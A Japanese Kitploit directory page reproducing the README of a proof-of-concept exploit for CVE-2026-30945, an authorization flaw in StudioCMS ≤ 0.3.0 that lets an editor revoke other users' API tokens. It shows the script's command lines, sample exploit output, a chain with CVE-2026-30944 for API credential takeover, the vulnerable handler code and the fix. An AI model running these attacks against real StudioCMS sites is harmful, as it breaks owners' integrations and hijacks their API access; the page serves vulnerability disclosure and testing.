Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-30945-PoC — CVE-2026-30945の概念実証エクスプロイト。StudioCMSのIDORにより、任意のAPIトークン失効とサービス拒否を可能にします。手動および自動テストモードを含みます。 | Kitploit
ツール/GitHubGitHub/filipegaudard/cve-2026-30945-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育APIセキュリティ
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

CVE-2026-30945の概念実証エクスプロイト。StudioCMSのIDORにより、任意のAPIトークン失効とサービス拒否を可能にします。手動および自動テストモードを含みます。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🗑️ CVE-2026-30945

StudioCMS IDOR — 任意APIトークン失効によるサービス拒否(DoS)

CVE CVSS CWE Type

NVD • Advisory • CWE-639


概要

StudioCMS ≤ 0.3.0 の DELETE /studiocms_api/dashboard/api-tokens エンドポイントは、editor 以上の権限を持つ認証済みユーザーが、他の任意のユーザー(admin や owner アカウントを含む)に属するAPIトークンを失効させることを許可します。

このハンドラーは、トークンの所有権、呼び出し元の身元、またはロール階層を検証することなく、tokenID と userID をリクエストペイロードから直接受け取ります。これにより、重要な統合や自動化に対する**標的型サービス拒否(DoS)**が可能になります。

関連情報: この脆弱性は、CVE-2026-30944(トークン生成IDOR)と同じ根本原因を共有しています。連鎖させると、攻撃者は正当なトークンを失効させて新しいトークンを生成し、API認証情報を完全に乗っ取ることができます。

攻撃フロー

root@kitploit:~
┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Attacker   │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Server     │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Owner's     │
                                              │  CI/CD       │
                                              │  Pipeline    │──► ❌ 401 Unauthorized
                                              │  Integration │──► ❌ API Access Lost
                                              │  Monitoring  │──► ❌ Silent Failure
                                              └──────────────┘

脆弱性の詳細

フィールド値
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639: ユーザー制御キーによる認可バイパス
CWE(副次)CWE-863: 不正確な認可
MITRE ATT&CKT1531 — アカウントアクセス削除
OWASP APIAPI1:2023 — オブジェクトレベル認可の破損
影響を受けるバージョンstudiocms ≤ 0.3.0
修正バージョンstudiocms 0.4.0

内容

ファイル説明
cve_2026_30945_poc.py手動・自動モードを備えたPythonエクスプロイトスクリプト
README.mdこのファイル
LICENSEMITライセンス

前提条件

  • StudioCMS ≤ 0.3.0(脆弱なバージョン)
  • Python 3.8+
  • 少なくとも Editor アカウントの有効な認証情報
  • 既知のトークンレコードUUID(内部ID。JWTではない)
root@kitploit:~
pip install requests colorama

クイックスタート

手動エクスプロイト

root@kitploit:~
# オーナーに属する特定のトークンを失効させる
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# CVE-2026-30944と連鎖: 先にターゲット用のトークンを生成する
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# 結果をJSONに保存
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

自動テスト

root@kitploit:~
# 複数のロールでテスト
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

引数

必須

引数説明
-u, --urlターゲットのStudioCMSベースURL
--target-uuidトークンを失効させる対象ユーザーのUUID

オプション

引数説明
--token-id失効させる内部トークンレコードUUID(JWTではない)。省略した場合、スクリプトはCVE-2026-30944を介して先にトークンの生成を試みます

手動モード

引数説明
--username認証用のユーザー名
--password認証用のパスワード

自動テストモード

引数説明
--auto-test自動マルチロールテストを有効化
--editor-userEditorアカウントのユーザー名
--editor-passEditorアカウントのパスワード
--visitor-userVisitorアカウントのユーザー名
--visitor-passVisitorアカウントのパスワード

フラグ

引数説明
--save結果をJSONファイルに保存
--no-ssl-verifySSL証明書の検証を無効化

出力例

脆弱なシステム

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoking target's API token...
  [+] Token revoked! Server response: Token deleted
  [!] VULNERABILITY CONFIRMED — Token successfully revoked!
  [!] Target user's API integrations are now broken (DoS)

修正済みシステム

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoking target's API token...
  [*] Access denied (403 Forbidden) — endpoint may be patched
  [-] Revocation failed: Access denied (403 Forbidden)

攻撃チェーン(CVE-2026-30944 + CVE-2026-30945)

トークン生成IDOR(CVE-2026-30944)と組み合わせると、攻撃者はAPI認証情報を完全に乗っ取ることができます:

root@kitploit:~
Step 1: Revoke owner's legitimate token    (CVE-2026-30945)
   └──► Owner's CI/CD pipelines break silently

Step 2: Generate new token for owner       (CVE-2026-30944)
   └──► Attacker now has owner-level API access

Step 3: Owner creates a new token to fix
   └──► Attacker revokes it again (persistent DoS)

これにより、攻撃者がオーナーのAPIアクセスに対する永続的な制御を維持し、オーナーが作成した新しいトークンを繰り返し失効させながら、自身の不正アクセスを維持するシナリオが生じます。


根本原因

packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts(58〜99行目)の脆弱なハンドラーは、リクエストボディから tokenID と userID を受け取り、認可チェックなしで削除関数に直接渡します:

root@kitploit:~
// [1] Only checks if caller is editor — not WHO they're deleting tokens for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] Both values from request body — no validation against session
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // No ownership check
    userID: string;     // No identity check
}>(ctx);

// [3] Passed directly to destructive operation — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

このハンドラーには5つの明確な欠陥があります:不十分な権限ゲート、トークン所有権の検証なし、呼び出し元の身元チェックの欠如、ロール階層の強制なし、そして破壊的操作へのユーザー制御値の直接パススルーです。


影響

  • サービス拒否(DoS) — CI/CDパイプライン、サードパーティ統合、監視システムで使用されるAPIトークンが静かに失効する可能性があります
  • 選択的妨害 — Editorが特定のadminやownerからトークンを外科的に失効させることができます
  • 監査証跡なし — 失効は正当な操作として処理されるため、帰属の特定が困難です
  • 連鎖による永続的DoS — CVE-2026-30944と組み合わせることで、攻撃者は被害者が作成した新しいトークンを繰り返し失効させることができます

緩和策

StudioCMSをバージョン 0.4.0 以降に更新してください:

root@kitploit:~
npm install studiocms@latest

法的免責事項

このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。

  • 所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください
  • コンピュータシステムへの不正アクセスは、ほとんどの法域で違法です
  • 作者は本ツールの誤用に対して一切の責任を負いません
  • 常に責任ある開示の慣行に従ってください

参考情報

  • CVE: CVE-2026-30945
  • Advisory: GHSA-8rgj-vrfr-6hqr
  • 関連CVE: CVE-2026-30944(トークン生成IDOR)
  • CWE: CWE-639 — ユーザー制御キーによる認可バイパス
  • OWASP: API1:2023 — オブジェクトレベル認可の破損
  • MITRE ATT&CK: T1531 — アカウントアクセス削除

作者

Filipe Gaudard


ライセンス

このPoCは、教育目的のためにMITライセンスの下で公開されています。責任を持って倫理的に使用してください。

ツールをダウンロード